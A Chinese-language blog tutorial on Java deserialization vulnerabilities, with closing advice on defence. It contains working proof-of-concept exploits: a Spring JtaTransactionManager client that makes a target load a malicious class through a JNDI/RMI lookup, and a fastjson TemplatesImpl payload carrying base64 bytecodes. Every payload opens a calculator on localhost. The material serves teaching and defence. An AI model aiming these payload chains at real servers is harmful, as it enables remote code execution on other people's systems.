淺談 Java 中的反序列化漏洞!
一、背景介紹
在之前的文章中,小編有詳細(xì)的介紹了序列化和反序列化的玩法,以及一些常見(jiàn)的坑點(diǎn)。
但是,高端的玩家往往不會(huì)僅限于此,熟悉接口開(kāi)發(fā)的同學(xué)一定知道,能將數(shù)據(jù)對(duì)象很輕松的實(shí)現(xiàn)多平臺(tái)之間的通信、對(duì)象持久化存儲(chǔ),序列化和反序列化是一種非常有效的手段,例如如下應(yīng)用場(chǎng)景,對(duì)象必須 100% 實(shí)現(xiàn)序列化。
- DUBBO:對(duì)象傳輸必須要實(shí)現(xiàn)序列化
- RMI:Java 的一組擁護(hù)開(kāi)發(fā)分布式應(yīng)用程序 API,實(shí)現(xiàn)了不同操作系統(tǒng)之間程序的方法調(diào)用,RMI 的傳輸 100% 基于反序列化,Java RMI 的默認(rèn)端口是 1099 端口
而在反序列化的背后,卻隱藏了很多不為人知的秘密!
最為出名的大概應(yīng)該是:15年的 Apache Commons Collections 反序列化遠(yuǎn)程命令執(zhí)行漏洞,當(dāng)初影響范圍包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd 等知名軟件,直接在互聯(lián)網(wǎng)行業(yè)掀起了一陣颶風(fēng)。
2016 年 Spring RMI 反序列化爆出漏洞,攻擊者可以通過(guò) JtaTransactionManager 這個(gè)類,來(lái)遠(yuǎn)程執(zhí)行惡意代碼。
2017 年 4月15 日,Jackson 框架被發(fā)現(xiàn)存在一個(gè)反序列化代碼執(zhí)行漏洞。該漏洞存在于 Jackson 框架下的 enableDefaultTyping 方法,通過(guò)該漏洞,攻擊者可以遠(yuǎn)程在服務(wù)器主機(jī)上越權(quán)執(zhí)行任意代碼,從而取得該網(wǎng)站服務(wù)器的控制權(quán)。
還有 fastjson,一款 java 編寫(xiě)的高性能功能非常完善的 JSON 庫(kù),應(yīng)用范圍非常廣,在 2017 年,fastjson 官方主動(dòng)爆出 fastjson 在1.2.24及之前版本存在遠(yuǎn)程代碼執(zhí)行高危安全漏洞。攻擊者可以通過(guò)此漏洞遠(yuǎn)程執(zhí)行惡意代碼來(lái)入侵服務(wù)器。
Java 十分受開(kāi)發(fā)者喜愛(ài)的一點(diǎn),就是其擁有完善的第三方類庫(kù),和滿足各種需求的框架。但正因?yàn)楹芏嗟谌筋悗?kù)引用廣泛,如果其中某些組件出現(xiàn)安全問(wèn)題,或者在數(shù)據(jù)校驗(yàn)入口就沒(méi)有把關(guān)好,那么受影響范圍將極為廣泛的,以上爆出的漏洞,可能只是星辰大海中的一束花。
那么問(wèn)題來(lái)了,攻擊者是如何精心構(gòu)造反序列化對(duì)象并執(zhí)行惡意代碼的呢?
二、漏洞分析
2.1、漏洞基本原理
我們先看一段代碼如下:
public class DemoSerializable {
public static void main(String[] args) throws Exception {
//定義myObj對(duì)象
MyObject myObj = new MyObject();
myObj.name = "hello world";
//創(chuàng)建一個(gè)包含對(duì)象進(jìn)行反序列化信息的”object”數(shù)據(jù)文件
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法將myObj對(duì)象寫(xiě)入object文件
os.writeObject(myObj);
os.close();
//從文件中反序列化obj對(duì)象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢復(fù)對(duì)象
MyObject objectFromDisk = (MyObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
class MyObject implements Serializable {
/**
* 任意屬性
*/
public String name;
//重寫(xiě)readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//執(zhí)行默認(rèn)的readObject()方法
in.defaultReadObject();
//執(zhí)行指定程序
Runtime.getRuntime().exec("open https://www.baidu.com/");
}
}
運(yùn)行程序之后,控制臺(tái)會(huì)輸出hello world,同時(shí)也會(huì)打開(kāi)網(wǎng)頁(yè)跳轉(zhuǎn)到https://www.baidu.com/。
從這段邏輯中分析,我們可以很清晰的看到反序列化已經(jīng)成功了,但是程序又偷偷的執(zhí)行了一段如下代碼。
Runtime.getRuntime().exec("open https://www.baidu.com/");
我們可以再把這段代碼改造一下,內(nèi)容如下:
//mac系統(tǒng),執(zhí)行打開(kāi)計(jì)算器程序命令
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
//windows系統(tǒng),執(zhí)行打開(kāi)計(jì)算器程序命令
Runtime.getRuntime().exec("calc.exe");
運(yùn)行程序后,可以很輕松的打開(kāi)電腦中已有的任意程序。
圖片
很多人可能不知道,這里的readObject()是可以重寫(xiě)的,只是Serializable接口沒(méi)有顯示的把它展示出來(lái),readObject()方法的作用是從一個(gè)源輸入流中讀取字節(jié)序列,再把它們反序列化為一個(gè)對(duì)象,并將其返回,以定制反序列化的一些行為。
可能有的同學(xué)會(huì)說(shuō),實(shí)際開(kāi)發(fā)過(guò)程中,不會(huì)有人這么去重寫(xiě)readObject()方法,當(dāng)然不會(huì),但是實(shí)際情況也不會(huì)太差。
2.2、Spring 框架的反序列化漏洞
以當(dāng)時(shí)的 Spring 框架爆出的反序列化漏洞為例,請(qǐng)看當(dāng)時(shí)的示例代碼。
首先創(chuàng)建一個(gè) server 代碼:
public class ExploitableServer {
public static void main(String[] args) {
try {
//創(chuàng)建socket
ServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999"));
System.out.println("Server started on port "+serverSocket.getLocalPort());
while(true) {
//等待鏈接
Socket socket=serverSocket.accept();
System.out.println("Connection received from "+socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
//讀取對(duì)象
Object object = objectInputStream.readObject();
System.out.println("Read object "+object);
} catch(Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
然后創(chuàng)建一個(gè) client 代碼:
public class ExploitClient {
public static void main(String[] args) {
try {
String serverAddress = "127.0.0.1";
int port = Integer.parseInt("1234");
String localAddress= "127.0.0.1";
System.out.println("Starting HTTP server"); //開(kāi)啟8080端口服務(wù)
HttpServer httpServer = HttpServer.create(new InetSocketAddress(8080), 0);
httpServer.createContext("/",new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
System.out.println("Creating RMI Registry"); //綁定RMI服務(wù)到 1099端口 Object 提供惡意類的RMI服務(wù)
Registry registry = LocateRegistry.createRegistry(1099);
/*
java為了將object對(duì)象存儲(chǔ)在Naming或者Directory服務(wù)下,
提供了Naming Reference功能,對(duì)象可以通過(guò)綁定Reference存儲(chǔ)在Naming和Directory服務(wù)下,
比如(rmi,ldap等)。在使用Reference的時(shí)候,我們可以直接把對(duì)象寫(xiě)在構(gòu)造方法中,
當(dāng)被調(diào)用的時(shí)候,對(duì)象的方法就會(huì)被觸發(fā)。理解了jndi和jndi reference后,
就可以理解jndi注入產(chǎn)生的原因了。
*/ //綁定本地的惡意類到1099端口
Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":8080"+"/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);
System.out.println("Connecting to server "+serverAddress+":"+port); //連接服務(wù)器1234端口
Socket socket=new Socket(serverAddress,port);
System.out.println("Connected to server");
String jndiAddress = "rmi://"+localAddress+":1099/Object";
//JtaTransactionManager 反序列化時(shí)的readObject方法存在問(wèn)題 //使得setUserTransactionName可控,遠(yuǎn)程加載惡意類
//lookup方法會(huì)實(shí)例化惡意類,導(dǎo)致執(zhí)行惡意類無(wú)參的構(gòu)造方法
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
//上面就是poc,下面是將object序列化發(fā)送給服務(wù)器,服務(wù)器訪問(wèn)惡意類
System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
while(true) {
Thread.sleep(1000);
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
最后,創(chuàng)建一個(gè)ExportObject需要遠(yuǎn)程下載的類:
public class ExportObject {
public static String exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
inBr.close();
in.close();
return sb;
}
public ExportObject() throws Exception {
String cmd="open /Applications/Calculator.app/";
throw new Exception(exec(cmd));
}
}
先開(kāi)啟 server,再運(yùn)行 client 后,計(jì)算器會(huì)直接被打開(kāi)!
圖片
究其原因,主要是這個(gè)類JtaTransactionManager類存在問(wèn)題,最終導(dǎo)致了漏洞的實(shí)現(xiàn)。
打開(kāi)源碼,翻到最下面,可以很清晰的看到JtaTransactionManager類重寫(xiě)了readObject方法。
圖片
重點(diǎn)就是這個(gè)方法initUserTransactionAndTransactionManager(),里面會(huì)轉(zhuǎn)調(diào)用到JndiTemplate的lookup()方法。
圖片
圖片
可以看到lookup()方法作用是:Look up the object with the given name in the current JNDI context。
也就是說(shuō),通過(guò)JtaTransactionManager類的setUserTransactionName()方法執(zhí)行,最終指向了rmi://127.0.0.1:1099/Object,導(dǎo)致服務(wù)執(zhí)行了惡意類的遠(yuǎn)程代碼。
2.3、FASTJSON 框架的反序列化漏洞分析
我們先來(lái)看一個(gè)簡(jiǎn)單的例子,程序代碼如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
運(yùn)行程序之后,同樣的直接會(huì)打開(kāi)電腦中的計(jì)算器。
惡意代碼植入的核心就是在對(duì)象初始化階段,直接會(huì)調(diào)用Runtime.getRuntime().exec("open /Applications/Calculator.app/")這個(gè)方法,通過(guò)運(yùn)行時(shí)操作類直接執(zhí)行惡意代碼。
我們?cè)趤?lái)看看下面這個(gè)例子:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class POC {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//assertEquals(Model.class, obj.getClass());
}
public static void main(String args[]){
try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
}
在這個(gè)程序驗(yàn)證代碼中,最核心的部分是_bytecodes,它是要執(zhí)行的代碼,@type是指定的解析類,fastjson會(huì)根據(jù)指定類去反序列化得到該類的實(shí)例,在默認(rèn)情況下,fastjson只會(huì)反序列化公開(kāi)的屬性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes卻是私有屬性,_name也是私有域,所以在parseObject的時(shí)候需要設(shè)置Feature.SupportNonPublicField,這樣_bytecodes字段才會(huì)被反序列化。
_tfactory這個(gè)字段在TemplatesImpl既沒(méi)有g(shù)et方法也沒(méi)有set方法,所以是設(shè)置不了的,只能依賴于jdk的實(shí)現(xiàn),某些版本中在defineTransletClasses()用到會(huì)引用_tfactory屬性導(dǎo)致異常退出。
如果你的jdk版本是1.7,并且fastjson <= 1.2.24,基本會(huì)執(zhí)行成功,如果是高版本的,可能會(huì)報(bào)錯(cuò)!
詳細(xì)分析請(qǐng)移步:http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/
Jackson 的反序列化漏洞也與之類似。
三、如何防范
從上面的案例看,java 的序列化和反序列化,單獨(dú)使用的并沒(méi)有啥毛病,核心問(wèn)題也都不是反序列化,但都是因?yàn)榉葱蛄谢瘜?dǎo)致了惡意代碼被執(zhí)行了,尤其是兩個(gè)看似安全的組件,如果在同一系統(tǒng)中交叉使用,也能會(huì)帶來(lái)一定安全問(wèn)題。
3.1、禁止 JVM 執(zhí)行外部命令 Runtime.exec
從上面的代碼中,我們不難發(fā)現(xiàn),惡意代碼最終都是通過(guò)Runtime.exec這個(gè)方法得到執(zhí)行,因此我們可以從 JVM 層面禁止外部命令的執(zhí)行。
通過(guò)擴(kuò)展 SecurityManager 可以實(shí)現(xiàn):
public class SecurityManagerTest {
public static void main(String[] args) {
SecurityManager originalSecurityManager = System.getSecurityManager();
if (originalSecurityManager == null) {
// 創(chuàng)建自己的SecurityManager
SecurityManager sm = new SecurityManager() {
private void check(Permission perm) {
// 禁止exec
if (perm instanceof java.io.FilePermission) {
String actions = perm.getActions();
if (actions != null && actions.contains("execute")) {
throw new SecurityException("execute denied!");
}
}
// 禁止設(shè)置新的SecurityManager,保護(hù)自己
if (perm instanceof java.lang.RuntimePermission) {
String name = perm.getName();
if (name != null && name.contains("setSecurityManager")) {
throw new SecurityException("System.setSecurityManager denied!");
}
}
}
@Override
public void checkPermission(Permission perm) {
check(perm);
}
@Override
public void checkPermission(Permission perm, Object context) {
check(perm);
}
};
System.setSecurityManager(sm);
}
}
}
只要在 Java 代碼里簡(jiǎn)單加上面那一段,就可以禁止執(zhí)行外部程序了,但是并非禁止外部程序執(zhí)行,Java 程序就安全了,有時(shí)候可能適得其反,因?yàn)閳?zhí)行權(quán)限被控制太苛刻了,不見(jiàn)得是個(gè)好事,我們還得想其他招數(shù)。
3.2、增加多層數(shù)據(jù)校驗(yàn)
比較有效的辦法是,當(dāng)我們把接口參數(shù)暴露出去之后,服務(wù)端要及時(shí)做好數(shù)據(jù)參數(shù)的驗(yàn)證,尤其是那種帶有http、https、rmi等這種類型的參數(shù)過(guò)濾驗(yàn)證,可以進(jìn)一步降低服務(wù)的風(fēng)險(xiǎn)。
四、小結(jié)
隨著 Json 數(shù)據(jù)交換格式的普及,直接應(yīng)用在服務(wù)端的反序列化接口也隨之減少,但陸續(xù)爆出的Jackson和Fastjson兩大 Json 處理庫(kù)的反序列化漏洞,也暴露出了一些問(wèn)題。
所以我們?cè)谌粘I(yè)務(wù)開(kāi)發(fā)的時(shí)候,對(duì)于 Java 反序列化的安全問(wèn)題應(yīng)該具備一定的防范意識(shí),并著重注意傳入數(shù)據(jù)的校驗(yàn)、服務(wù)器權(quán)限和相關(guān)日志的檢查, API 權(quán)限控制,通過(guò) HTTPS 加密傳輸數(shù)據(jù)等方面進(jìn)行下功夫,以免造成不必要的損失!